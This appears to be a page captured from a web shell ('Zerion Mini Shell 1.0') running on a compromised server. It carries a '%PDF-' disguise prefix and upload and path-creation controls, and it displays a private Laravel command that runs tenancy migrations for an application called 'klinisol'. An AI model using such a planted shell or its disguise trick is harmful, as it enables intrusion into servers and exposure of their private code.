%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Console/Commands/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Console/Commands/RunTenancyMigrationsCommand.php

<?php

namespace App\Console\Commands;

use Illuminate\Console\Command;
use Illuminate\Support\Facades\Artisan;

class RunTenancyMigrationsCommand extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'klinisol:tenancy_migrations';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Run migrations for all klinisol configurations';

    /**
     * Execute the console command.
     *
     * @return int
     */
    public function handle()
    {
        \Log::channel('klinisol_tenancy_migrations')->info("Started tenancy migrations");
        Artisan::call('migrate', [
            '--path'   => 'database/tenancy_migrations',
            '--database' => 'klinisol_main',
            '--force'  => true,
        ]);
        \Log::channel('klinisol_tenancy_migrations')->info("Finished tenancy migrations");
    }
}

Zerion Mini Shell 1.0